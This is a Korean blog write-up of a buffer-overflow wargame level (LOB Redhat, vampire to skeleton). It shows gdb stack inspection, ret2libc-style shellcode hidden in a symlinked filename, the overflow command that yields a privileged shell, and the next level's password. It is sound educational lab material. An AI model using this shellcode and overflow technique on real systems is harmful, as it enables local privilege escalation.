2013년 10월 1일 화요일
오후 3:53
문제 소스를보면,
1.argv는 사용제한이 없다.
2.환경변수 공격이 막혀있다.
3.ret이 bf로 시작해야한다.
4.argv[1]이 48byte이하여야 한다.
5.buffer가 초기화된다, 버퍼에 쉘코드를 올릴수 없다.
6.strcpy후에 argv가 모두 초기화 된다.
그럼 공격형태를 생각해보면
1.환경변수 공격 안됨
2.ret2libc안됨
3.argv[2]에 쉘코드 올려도 안됨
4.buffer에 쉘코드 올려도 안됨
여러 공격이 먹히지 않아서 답답해서 gdb로 스택을 찍어보던 도중에 스택메모리 끝에 파일의 위치가 찍혀있는것을 발견햇다.
(gdb) b *main+368
Breakpoint 2 at 0x8048670
(gdb) r `perl -e 'print "x"x47,"\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/vampire/aaaaa `perl -e 'print "x"x47,"\xbf"'`
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
풟reakpoint 2, 0x8048670 in main ()
(gdb) x/10s 0xbfffffe6
0xbfffffe6: ""
0xbfffffe7: ""
0xbfffffe8: "/home/vampire/aaaaa"
0xbffffffc: ""
0xbffffffd: ""
0xbffffffe: ""
0xbfffffff: ""
0xc0000000: <Address 0xc0000000 out of bounds>
0xc0000000: <Address 0xc0000000 out of bounds>
0xc0000000: <Address 0xc0000000 out of bounds>
이것은 브레이크 포인트를 마지막에 걸고 실행하였으며 모든 환경변수가 초기화 되어있는것을 볼수 있다.
하지만 프로그램의 실행 경로는 남아있었으며 이것을 가지고 공격할수 있을꺼 같다.
근데 공격시도 중 문제가 발생햇다.
이전에 사용하던 공격 쉘코드로 해도 쉘이 절때 뜨지 않는 것이다.
그이유를 찾아보던 결과 다음과 같은 실마리를 발견하게 된다.
argv[0] 인자를 저렇게 길게 주면 뒤에 찌꺼기에 다 안찰껄요.. 저거 leav 실행 하기 전에 브레이크 걸어서 보면 아마 다 없어져있을듯?? argv[0]인자 28개 이상 주면 그 뒤에꺼는 더 안차는것 같던데... 저 리눅스 버전에서..
출처: <http://iyounges.org/m/post/comments/id/563>
그런건가? 그래서 한번 긴 길이의 파일명을 줘서 gdb로 찍어보앗다.
(gdb) b *main+368
Breakpoint 1 at 0x8048670
(gdb) r `perl -e 'print "x"x47,"\xbf"'`
Starting program: /home/vampire/./xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx `perl -e 'print
"x"x47,"\xbf"'`
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
풟reakpoint 1, 0x8048670 in main ()
(gdb) x/10s 0xbfffff80
0xbfffff80: ""
0xbfffff81: ""
0xbfffff82: ""
0xbfffff83: ""
0xbfffff84: ""
0xbfffff85: ""
0xbfffff86: ""
0xbfffff87: "/home/vampire/./", 'x' <repeats 100 times>
0xbffffffc: ""
0xbffffffd: ""
분명 제대로 파일명이 드가있는데 머가 문제인지 모르겟다. 다시 검색해보자….
검색을 해보니, ret2lib 기법을 활용해 쉘코드를 다시 작성해 보란다.
그래서 다시 만든 쉘코드는 다음과 같다. (리눅스 유용한기능 - 쉘코드 연구 참고)
\xb8\xf9\xbf\x0f\x40\x50\x31\xc0\x50\xb8\xe0\x8a\x05\x40\x50\xc3
다시 공격을 해보자.
일단 먼저 카피파일을 만들어서 ret의 주소를 결정해보자
[vampire@localhost vampire]$ cp skeleton `perl -e 'print "\xb8\xf9\xbf\x0f\x40\x50\x31\xc0\x50\xb8\xe0\x8a\x05\x40\x50\xc3"'`
[vampire@localhost vampire]$ gdb -q `perl -e 'print "\xb8\xf9\xbf\x0f\x40\x50\x31\xc0\x50\xb8\xe0\x8a\x05\x40\x50\xc3"'`
(gdb) b *main+368
Breakpoint 1 at 0x8048670
(gdb) r `perl -e 'print "x"x47,"\xbf"'`
Starting program: /home/vampire/몽?P1픐멘?P?`perl -e 'print "x"x47,"\xbf"'`
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
풟reakpoint 1, 0x8048670 in main ()
(gdb) x/10s 0xbfffffda
0xbfffffda: ""
0xbfffffdb: ""
0xbfffffdc: ""
0xbfffffdd: "/home/vampire/몽?017@P1픐멘\212\005@P?
0xbffffffc: ""
0xbffffffd: ""
0xbffffffe: ""
0xbfffffff: ""
0xc0000000: <Address 0xc0000000 out of bounds>
0xc0000000: <Address 0xc0000000 out of bounds>
(gdb) p/x 0xbfffffdd + strlen("/home/vampire/") //p/x로 연산을 통해 적확한 위치를 구할수 있다.
$1 = 0xbfffffeb
[vampire@localhost vampire]$ rm `perl -e 'print "\xb8\xf9\xbf\x0f\x40\x50\x31\xc0\x50\xb8\xe0\x8a\x05\x40\x50\xc3"'`
[vampire@localhost vampire]$ ln -s skeleton `perl -e 'print "\xb8\xf9\xbf\x0f\x40\x50\x31\xc0\x50\xb8\xe0\x8a\x05\x40\x50\xc3"'`
[vampire@localhost vampire]$ ./`perl -e 'print "\xb8\xf9\xbf\x0f\x40\x50\x31\xc0\x50\xb8\xe0\x8a\x05\x40\x50\xc3"'` `perl -e 'print "x"x44,"\xeb\xff\
xff\xbf"'`
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx?
풺ash$ id
uid=509(vampire) gid=509(vampire) euid=510(skeleton) egid=510(skeleton) groups=509(vampire)
bash$ my-pass
euid = 510
shellcoder
//core dump 로 푸는 법 연구..
'wargame > LOB Redhat' 카테고리의 다른 글
golem to darkknight (0) | 2014.05.27 |
---|---|
skeleton to golem (0) | 2014.05.27 |
troll to vampire (0) | 2014.05.27 |
orge to troll (0) | 2014.05.27 |
darkelf to orge (0) | 2014.05.27 |